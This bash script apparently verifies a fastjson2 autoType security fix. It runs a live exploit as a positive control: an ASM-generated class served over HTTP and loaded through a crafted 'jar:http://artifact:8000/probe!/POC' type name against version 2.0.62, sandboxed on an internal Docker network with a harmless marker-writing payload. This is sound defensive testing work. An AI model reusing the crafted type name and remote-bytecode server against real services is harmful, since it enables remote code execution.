#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
CODING="$ROOT/coding"
LOG_BASE="$ROOT/logs/coding"
PATCH="$CODING/proposed_fix.diff"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
BASE_IMAGE="maven:3.9.9-eclipse-temurin-8"
VULN_RELEASE="2.0.62"
VULN_COMMIT="7ddfd76e03bd263f4dd3a33dd403bd2387d2c801"
FIX_COMMIT="5552cad1b132a88e7592f487988649835318a8d3"
REPOSITORY="https://github.com/alibaba/fastjson2.git"
TYPE_NAME="jar:http:..artifact:8000.probe!.POC"

mkdir -p "$CODING" "$LOG_BASE"
RUN_NO_FILE="$CODING/.verify_run_number"
old_run=0
if [ -f "$RUN_NO_FILE" ]; then
    old_run=$(cat "$RUN_NO_FILE" 2>/dev/null || echo 0)
fi
case "$old_run" in (*[!0-9]*|'') old_run=0;; esac
run_no=$((old_run + 1))
printf '%s\n' "$run_no" > "$RUN_NO_FILE"
RUN_DIR="$LOG_BASE/run$run_no"
rm -rf "$RUN_DIR"
mkdir -p "$RUN_DIR"

suffix="$$-$run_no"
NET="fj2-coding-$suffix"
ART_C="fj2-coding-artifact-$suffix"
TARGET_C="fj2-coding-target-$suffix"
ART_IMAGE="pruva/fj2-coding-artifact:$suffix"
TARGET_IMAGE="pruva/fj2-coding-target:$suffix"
TOKEN="FJ2_CODING_REMOTE_BYTECODE_$suffix"

cleanup() {
    docker rm -f "$TARGET_C" "$ART_C" >/dev/null 2>&1 || true
    docker network rm "$NET" >/dev/null 2>&1 || true
    docker image rm "$ART_IMAGE" "$TARGET_IMAGE" >/dev/null 2>&1 || true
}
trap cleanup EXIT
cleanup

fail() {
    echo "VERIFY_FAIL=$*" >&2
    exit 1
}

command -v git >/dev/null 2>&1 || fail "git is required"
command -v docker >/dev/null 2>&1 || fail "docker is required"
command -v python3 >/dev/null 2>&1 || fail "python3 is required"
test -s "$PATCH" || fail "missing proposed_fix.diff"
docker info >/dev/null 2>&1 || fail "Docker daemon is unavailable"

# The cache context permits reusable repository/build infrastructure only. Runtime proof
# and all canonical logs remain fresh under bundle/logs/coding for each invocation.
CACHE_DIR=""
if [ -s "$CACHE_CONTEXT" ]; then
    CACHE_DIR=$(python3 - "$CACHE_CONTEXT" <<'PY'
import json, sys
with open(sys.argv[1], encoding="utf-8") as f:
    data = json.load(f)
if data.get("prepared") and data.get("project_cache_dir"):
    print(data["project_cache_dir"])
PY
)
fi
if [ -z "$CACHE_DIR" ] || ! mkdir -p "$CACHE_DIR/coding-fastjson2" 2>/dev/null; then
    CACHE_DIR="$CODING/cache"
    mkdir -p "$CACHE_DIR/coding-fastjson2"
fi
WORK="$CACHE_DIR/coding-fastjson2"
REPO="$WORK/repo"
M2="$WORK/m2"
mkdir -p "$M2"

# Acquire and reset an isolated exact vulnerable checkout. Never reuse previous-stage
# proof or modify repro/vuln_variant inputs.
if [ ! -d "$REPO/.git" ]; then
    rm -rf "$REPO"
    git clone -q --filter=blob:none "$REPOSITORY" "$REPO"
fi
git -C "$REPO" remote set-url origin "$REPOSITORY"
if ! git -C "$REPO" cat-file -e "$VULN_COMMIT^{commit}" 2>/dev/null; then
    git -C "$REPO" fetch -q --depth=1 origin "$VULN_COMMIT"
fi
git -C "$REPO" reset -q --hard
git -C "$REPO" clean -q -ffd
git -C "$REPO" checkout -q --detach "$VULN_COMMIT"
actual_commit=$(git -C "$REPO" rev-parse HEAD)
[ "$actual_commit" = "$VULN_COMMIT" ] || fail "vulnerable checkout identity mismatch"
git -C "$REPO" diff --quiet || fail "checkout is dirty before patch"

cat > "$RUN_DIR/source_identity.txt" <<EOF
repository=$REPOSITORY
vulnerable_release=$VULN_RELEASE
vulnerable_commit=$actual_commit
proposed_fix_reference_commit=$FIX_COMMIT
patch_sha256=$(sha256sum "$PATCH" | awk '{print $1}')
EOF

# Required clean-apply proof, followed by an index-aware apply of the deliverable itself.
git -C "$REPO" apply --check "$PATCH" >"$RUN_DIR/apply_check.log" 2>&1
git -C "$REPO" apply --index "$PATCH" >>"$RUN_DIR/apply_check.log" 2>&1
changed_paths=$(git -C "$REPO" diff --cached --name-only)
printf '%s\n' "$changed_paths" > "$RUN_DIR/changed_paths.txt"
expected_paths='core/src/main/java/com/alibaba/fastjson2/filter/ContextAutoTypeBeforeHandler.java
core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java
core/src/main/java/com/alibaba/fastjson2/util/TypeUtils.java
core/src/test/java/com/alibaba/fastjson2/autoType/AutoTypeValidationTest.java'
[ "$changed_paths" = "$expected_paths" ] || fail "patch changed unexpected paths"

# The three production blobs must equal the reviewed PR candidate exactly. This also
# proves that the patch was applied to the intended 2.0.62 baseline rather than merely
# applying fuzzily to an unrelated tree.
for path in \
    core/src/main/java/com/alibaba/fastjson2/filter/ContextAutoTypeBeforeHandler.java \
    core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java \
    core/src/main/java/com/alibaba/fastjson2/util/TypeUtils.java
do
    patched_blob=$(git -C "$REPO" hash-object "$path")
    fixed_blob=$(git -C "$REPO" rev-parse "$FIX_COMMIT:$path")
    [ "$patched_blob" = "$fixed_blob" ] || fail "patched blob differs from reviewed fix: $path"
    printf '%s %s\n' "$patched_blob" "$path"
done > "$RUN_DIR/patched_blob_identity.txt"

# Compile/package production sources first. This validates checkstyle and compilation while
# avoiding the upstream module's 2,000+ unrelated test sources in the constrained runner.
docker run --rm --memory=2g \
    -e MAVEN_OPTS='-Xmx768m -XX:MaxMetaspaceSize=256m -XX:+UseSerialGC' \
    -v "$REPO:/src:rw" -v "$M2:/root/.m2:rw" -w /src/core "$BASE_IMAGE" \
    mvn -B -ntp -DskipTests package >"$RUN_DIR/package.log" 2>&1
PATCHED_JAR=$(find "$REPO/core/target" -maxdepth 1 -type f -name 'fastjson2-*.jar' \
    ! -name '*sources*' ! -name '*javadoc*' ! -name 'original-*' | sort | head -1)
test -s "$PATCHED_JAR" || fail "patched core JAR was not produced"

# Compile and execute only the added security regression class against that freshly built
# JAR. JUnit's standalone launcher is pinned and digest-checked before use.
JUNIT_VERSION=1.13.4
JUNIT_JAR="$WORK/junit-platform-console-standalone-$JUNIT_VERSION.jar"
JUNIT_SHA256=3fdfc37e29744a9a67dd5365e81467e26fbde0b7aa204e6f8bbe79eeaa7ae892
if [ ! -s "$JUNIT_JAR" ]; then
    curl -fsSL --retry 3 -o "$JUNIT_JAR.tmp" \
      "https://repo.maven.apache.org/maven2/org/junit/platform/junit-platform-console-standalone/$JUNIT_VERSION/junit-platform-console-standalone-$JUNIT_VERSION.jar"
    mv "$JUNIT_JAR.tmp" "$JUNIT_JAR"
fi
actual_junit_sha=$(sha256sum "$JUNIT_JAR" | awk '{print $1}')
[ "$actual_junit_sha" = "$JUNIT_SHA256" ] || fail "JUnit launcher digest mismatch"
UNIT_DIR="$WORK/focused-unit-$run_no"
rm -rf "$UNIT_DIR" && mkdir -p "$UNIT_DIR/classes"
docker run --rm --memory=512m \
    -v "$REPO:/src:ro" -v "$PATCHED_JAR:/app/fastjson2.jar:ro" \
    -v "$JUNIT_JAR:/app/junit.jar:ro" -v "$UNIT_DIR:/out:rw" "$BASE_IMAGE" \
    sh -c 'javac -cp /app/fastjson2.jar:/app/junit.jar -d /out/classes /src/core/src/test/java/com/alibaba/fastjson2/autoType/AutoTypeValidationTest.java && java -jar /app/junit.jar execute --class-path /app/fastjson2.jar:/out/classes --select-class com.alibaba.fastjson2.autoType.AutoTypeValidationTest --details summary' \
    >"$RUN_DIR/unit_tests.log" 2>&1
unit_tests=$(grep -E '\[[[:space:]]+14 tests successful[[:space:]]+\]' "$RUN_DIR/unit_tests.log" | tail -1 || true)
[ -n "$unit_tests" ] || fail "focused regression test success summary was absent"
printf '%s\n' "$unit_tests" > "$RUN_DIR/unit_test_summary.txt"

VULN_JAR="$WORK/fastjson2-$VULN_RELEASE.jar"
if [ ! -s "$VULN_JAR" ]; then
    curl -fsSL --retry 3 -o "$VULN_JAR.tmp" \
      "https://repo.maven.apache.org/maven2/com/alibaba/fastjson2/fastjson2/$VULN_RELEASE/fastjson2-$VULN_RELEASE.jar"
    mv "$VULN_JAR.tmp" "$VULN_JAR"
fi
vuln_sha=$(sha256sum "$VULN_JAR" | awk '{print $1}')
[ "$vuln_sha" = "b0ca13b9925d6c4395c4341e55ef4307b0f06e7110a3b473976638fbb253a4b0" ] \
    || fail "released 2.0.62 JAR digest mismatch"
sha256sum "$VULN_JAR" "$PATCHED_JAR" > "$RUN_DIR/jar_sha256.txt"

# Create all harness sources inside this coding-stage run. The proof class only writes a
# per-run nonce to a target-local tmpfs; the network is internal and containers are
# unprivileged/read-only with all capabilities dropped.
HARNESS="$WORK/harness"
rm -rf "$HARNESS"
mkdir -p "$HARNESS/target" "$HARNESS/artifact"
cat > "$HARNESS/target/Harness.java" <<'JAVA'
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONB;
import com.alibaba.fastjson2.JSONReader;
import com.alibaba.fastjson2.JSONWriter;
import com.alibaba.fastjson2.annotation.JSONType;

public final class Harness {
    @JSONType(seeAlso = {LocalSub.class})
    public static abstract class Base { public String value; }
    @JSONType(typeName = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
    public static final class LocalSub extends Base { }
    public static final class Holder { public Base item; }

    public static void main(String[] args) throws Exception {
        if (args.length != 2) throw new IllegalArgumentException("usage: Harness <mode> <type-name>");
        String mode = args[0], typeName = args[1];
        System.out.println("MODE=" + mode);
        System.out.println("TYPE_NAME=" + typeName);
        System.out.println("JAVA_VERSION=" + System.getProperty("java.version"));
        System.out.println("TCCL=" + Thread.currentThread().getContextClassLoader().getClass().getName());
        try {
            Object value;
            if ("text-polymorphic".equals(mode)) {
                value = JSON.parseObject("{\"item\":{\"@type\":" + quote(typeName) + "}}", Holder.class);
            } else if ("text-explicit".equals(mode)) {
                value = JSON.parseObject("{\"@type\":" + quote(typeName) + "}", Object.class,
                        JSONReader.Feature.SupportAutoType);
            } else if ("jsonb-explicit".equals(mode)) {
                byte[] jsonb = JSONB.toBytes(new LocalSub(), JSONWriter.Feature.WriteClassName);
                byte[] oldBytes = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".getBytes("UTF-8");
                byte[] newBytes = typeName.getBytes("UTF-8");
                if (oldBytes.length != newBytes.length) throw new IllegalArgumentException("JSONB name length mismatch");
                int at = indexOf(jsonb, oldBytes);
                if (at < 0) throw new IllegalStateException("JSONB type name not found");
                System.arraycopy(newBytes, 0, jsonb, at, newBytes.length);
                value = JSONB.parseObject(jsonb, Object.class, JSONReader.Feature.SupportAutoType);
            } else {
                throw new IllegalArgumentException("unknown mode " + mode);
            }
            System.out.println("PARSE_RETURNED=true");
            System.out.println("RESULT_CLASS=" + (value == null ? "null" : value.getClass().getName()));
        } catch (Throwable t) {
            System.out.println("PARSE_RETURNED=false");
            System.out.println("ERROR_CLASS=" + t.getClass().getName());
            System.out.println("ERROR_MESSAGE=" + String.valueOf(t.getMessage()).replace('\n', ' ').replace('\r', ' '));
            t.printStackTrace(System.out);
        }
    }
    static int indexOf(byte[] haystack, byte[] needle) {
        outer: for (int i = 0; i <= haystack.length - needle.length; i++) {
            for (int j = 0; j < needle.length; j++) if (haystack[i + j] != needle[j]) continue outer;
            return i;
        }
        return -1;
    }
    static String quote(String s) { return "\"" + s.replace("\\", "\\\\").replace("\"", "\\\"") + "\""; }
}
JAVA
cat > "$HARNESS/target/Launcher.java" <<'JAVA'
import org.springframework.boot.loader.LaunchedURLClassLoader;
import java.io.File;
import java.net.URL;
public final class Launcher {
    public static void main(String[] args) throws Exception {
        org.springframework.boot.loader.jar.JarFile.registerUrlProtocolHandler();
        URL[] urls = { new URL("jar:" + new File("/app/lib/fastjson2.jar").toURI().toURL() + "!/"),
                       new File("/app/classes/").toURI().toURL() };
        ClassLoader loader = new LaunchedURLClassLoader(urls, ClassLoader.getSystemClassLoader().getParent());
        Thread.currentThread().setContextClassLoader(loader);
        Class<?> harness = Class.forName("Harness", true, loader);
        harness.getMethod("main", String[].class).invoke(null, (Object) args);
    }
}
JAVA
cat > "$HARNESS/target/Dockerfile" <<'DOCKER'
FROM maven:3.9.9-eclipse-temurin-8
WORKDIR /app
ADD https://repo.maven.apache.org/maven2/com/alibaba/fastjson2/fastjson2/2.0.62/fastjson2-2.0.62.jar /app/lib/fastjson2.jar
ADD https://repo.maven.apache.org/maven2/org/springframework/boot/spring-boot-loader/2.7.18/spring-boot-loader-2.7.18.jar /app/lib/spring-boot-loader.jar
COPY Harness.java Launcher.java /app/src/
RUN mkdir -p /app/classes /app/boot \
 && javac -XDignore.symbol.file -cp /app/lib/fastjson2.jar -d /app/classes /app/src/Harness.java \
 && javac -XDignore.symbol.file -cp /app/lib/spring-boot-loader.jar -d /app/boot /app/src/Launcher.java \
 && chmod -R a+rX /app
USER 65532:65532
ENTRYPOINT ["java","-cp","/app/boot:/app/lib/spring-boot-loader.jar","Launcher"]
DOCKER
cat > "$HARNESS/artifact/Gen.java" <<'JAVA'
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
public final class Gen {
    public static void main(String[] args) throws Exception {
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER, args[0], null, "java/lang/Object", null);
        MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        init.visitCode(); init.visitVarInsn(Opcodes.ALOAD, 0);
        init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
        init.visitInsn(Opcodes.RETURN); init.visitMaxs(0, 0); init.visitEnd();
        MethodVisitor cl = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
        cl.visitCode(); cl.visitTypeInsn(Opcodes.NEW, "java/io/FileOutputStream"); cl.visitInsn(Opcodes.DUP);
        cl.visitLdcInsn("CODING_MARKER_PATH");
        cl.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/System", "getenv", "(Ljava/lang/String;)Ljava/lang/String;", false);
        cl.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/FileOutputStream", "<init>", "(Ljava/lang/String;)V", false);
        cl.visitVarInsn(Opcodes.ASTORE, 0); cl.visitVarInsn(Opcodes.ALOAD, 0); cl.visitLdcInsn(args[2]); cl.visitLdcInsn("UTF-8");
        cl.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "(Ljava/lang/String;)[B", false);
        cl.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([B)V", false);
        cl.visitVarInsn(Opcodes.ALOAD, 0);
        cl.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "close", "()V", false);
        cl.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
        cl.visitLdcInsn("CODING_REMOTE_BYTECODE_INITIALIZED");
        cl.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
        cl.visitInsn(Opcodes.RETURN); cl.visitMaxs(0, 0); cl.visitEnd(); cw.visitEnd();
        java.nio.file.Files.write(java.nio.file.Paths.get(args[1]), cw.toByteArray());
    }
}
JAVA
cat > "$HARNESS/artifact/Server.java" <<'JAVA'
import com.sun.net.httpserver.HttpServer;
import java.net.InetSocketAddress;
import java.nio.file.Files;
import java.nio.file.Paths;
public final class Server {
    public static void main(String[] args) throws Exception {
        final byte[] jar = Files.readAllBytes(Paths.get("/work/probe"));
        HttpServer server = HttpServer.create(new InetSocketAddress("0.0.0.0", 8000), 0);
        server.createContext("/", ex -> { System.out.println("CODING_ARTIFACT_FETCH " + ex.getRequestMethod() + " " + ex.getRequestURI());
            ex.sendResponseHeaders(200, jar.length); ex.getResponseBody().write(jar); ex.close(); });
        server.start(); System.out.println("CODING_ARTIFACT_READY bytes=" + jar.length);
    }
}
JAVA
cat > "$HARNESS/artifact/entrypoint.sh" <<'SH'
#!/bin/sh
set -eu
java -cp /app/asm.jar:/app Gen 'jar:http://artifact:8000/probe!/POC' /work/POC.class "$PROBE_TOKEN"
(cd /work && jar cf probe POC.class)
exec java -cp /app Server
SH
cat > "$HARNESS/artifact/Dockerfile" <<'DOCKER'
FROM maven:3.9.9-eclipse-temurin-8
WORKDIR /app
ADD https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.6/asm-9.6.jar /app/asm.jar
COPY Gen.java Server.java entrypoint.sh /app/
RUN javac -XDignore.symbol.file -cp /app/asm.jar -d /app /app/Gen.java /app/Server.java \
 && chmod 0555 /app/entrypoint.sh && chmod -R a+rX /app
USER 65532:65532
ENTRYPOINT ["/app/entrypoint.sh"]
DOCKER

docker build -q -t "$ART_IMAGE" "$HARNESS/artifact" >"$RUN_DIR/artifact_image_id.txt" 2>"$RUN_DIR/docker_build.log"
docker build -q -t "$TARGET_IMAGE" "$HARNESS/target" >"$RUN_DIR/target_image_id.txt" 2>>"$RUN_DIR/docker_build.log"
docker network create --internal "$NET" >/dev/null
docker run -d --name "$ART_C" --network "$NET" --network-alias artifact \
    --read-only --tmpfs /work:rw,nosuid,nodev,size=8m --tmpfs /tmp:rw,nosuid,nodev,size=8m \
    --cap-drop ALL --security-opt no-new-privileges --pids-limit 64 \
    -e PROBE_TOKEN="$TOKEN" "$ART_IMAGE" >/dev/null
for _ in $(seq 1 40); do
    docker logs "$ART_C" 2>&1 | grep -q 'CODING_ARTIFACT_READY' && break
    sleep 0.25
done
docker logs "$ART_C" 2>&1 | grep -q 'CODING_ARTIFACT_READY' || fail "artifact service did not start"

fetch_count() { docker logs "$ART_C" 2>&1 | grep -c 'CODING_ARTIFACT_FETCH' || true; }
run_case() {
    case_name="$1"; jar="$2"; mode="$3"
    before=$(fetch_count)
    docker rm -f "$TARGET_C" >/dev/null 2>&1 || true
    case_jar="$RUN_DIR/$case_name.fastjson2.jar"
    cp "$jar" "$case_jar"
    chmod 0644 "$case_jar"
    remote_marker="$RUN_DIR/$case_name.remote.marker"
    : > "$remote_marker"
    chmod 0666 "$remote_marker"
    docker run --name "$TARGET_C" --network "$NET" \
        --read-only --tmpfs /tmp:rw,nosuid,nodev,size=16m \
        -v "$RUN_DIR:/proof:rw" \
        -e CODING_MARKER_PATH="/proof/$case_name.remote.marker" \
        --cap-drop ALL --security-opt no-new-privileges --pids-limit 128 \
        -v "$case_jar:/app/lib/fastjson2.jar:ro" \
        -e JAVA_TOOL_OPTIONS='-Dfastjson2.parser.safeMode=false -Dfastjson.parser.safeMode=false' \
        "$TARGET_IMAGE" "$mode" "$TYPE_NAME" > "$RUN_DIR/$case_name.target.log" 2>&1 || true
    after=$(fetch_count)
    marker=false
    marker_content=""
    if [ -s "$remote_marker" ]; then
        marker_content=$(cat "$remote_marker")
        marker=true
    fi
    printf '%s\n' "${marker_content:-absent}" > "$RUN_DIR/$case_name.marker"
    docker logs "$ART_C" > "$RUN_DIR/$case_name.artifact.log" 2>&1
    cat > "$RUN_DIR/$case_name.summary" <<EOF
case=$case_name
mode=$mode
fetch_delta=$((after-before))
marker=$marker
marker_content=$marker_content
EOF
    docker rm -f "$TARGET_C" >/dev/null 2>&1 || true
}

# A live exploit positive control proves the harness and network primitive are functional.
run_case vulnerable_text_explicit "$VULN_JAR" text-explicit
# Three patched paths exercise the parent implicit route, the alternate explicit route,
# and a distinct JSONB typed-value route.
run_case patched_text_polymorphic "$PATCHED_JAR" text-polymorphic
run_case patched_text_explicit "$PATCHED_JAR" text-explicit
run_case patched_jsonb_explicit "$PATCHED_JAR" jsonb-explicit
cat "$RUN_DIR"/*.summary > "$RUN_DIR/attempt_matrix.log"

vuln_fetch=$(awk -F= '$1=="fetch_delta"{print $2}' "$RUN_DIR/vulnerable_text_explicit.summary")
vuln_marker=$(awk -F= '$1=="marker"{print $2}' "$RUN_DIR/vulnerable_text_explicit.summary")
[ "$vuln_fetch" -ge 1 ] || fail "vulnerable positive control made no artifact fetch"
[ "$vuln_marker" = true ] || fail "vulnerable positive control made no marker"
grep -Fq "$TOKEN" "$RUN_DIR/vulnerable_text_explicit.marker" || fail "positive-control nonce mismatch"
grep -q 'CODING_REMOTE_BYTECODE_INITIALIZED' "$RUN_DIR/vulnerable_text_explicit.target.log" \
    || fail "positive-control initializer evidence absent"

for case_name in patched_text_polymorphic patched_text_explicit patched_jsonb_explicit; do
    fetch=$(awk -F= '$1=="fetch_delta"{print $2}' "$RUN_DIR/$case_name.summary")
    marker=$(awk -F= '$1=="marker"{print $2}' "$RUN_DIR/$case_name.summary")
    [ "$fetch" -eq 0 ] || fail "$case_name fetched the remote artifact"
    [ "$marker" = false ] || fail "$case_name initialized remote bytecode"
    grep -q 'ERROR_CLASS=com.alibaba.fastjson2.JSONException' "$RUN_DIR/$case_name.target.log" \
        || fail "$case_name did not fail closed with JSONException"
    grep -Fq "autoType is not support. $TYPE_NAME" "$RUN_DIR/$case_name.target.log" \
        || fail "$case_name did not reject the crafted type name"
done

cat > "$RUN_DIR/proof_summary.log" <<EOF
RESULT=FIX_VERIFIED
VULNERABLE_COMMIT=$VULN_COMMIT
PATCH_REFERENCE_COMMIT=$FIX_COMMIT
PATCH_APPLIES_CLEANLY=true
PATCHED_PRODUCTION_BLOBS_MATCH_REFERENCE=true
FOCUSED_UNIT_TESTS=PASS
VULNERABLE_POSITIVE_FETCH_DELTA=$vuln_fetch
VULNERABLE_POSITIVE_MARKER=true
PATCHED_TEXT_POLYMORPHIC_FETCH_DELTA=0
PATCHED_TEXT_POLYMORPHIC_MARKER=false
PATCHED_TEXT_EXPLICIT_FETCH_DELTA=0
PATCHED_TEXT_EXPLICIT_MARKER=false
PATCHED_JSONB_EXPLICIT_FETCH_DELTA=0
PATCHED_JSONB_EXPLICIT_MARKER=false
EOF
cp "$RUN_DIR/proof_summary.log" "$LOG_BASE/proof_summary.log"
cat "$RUN_DIR/proof_summary.log"
exit 0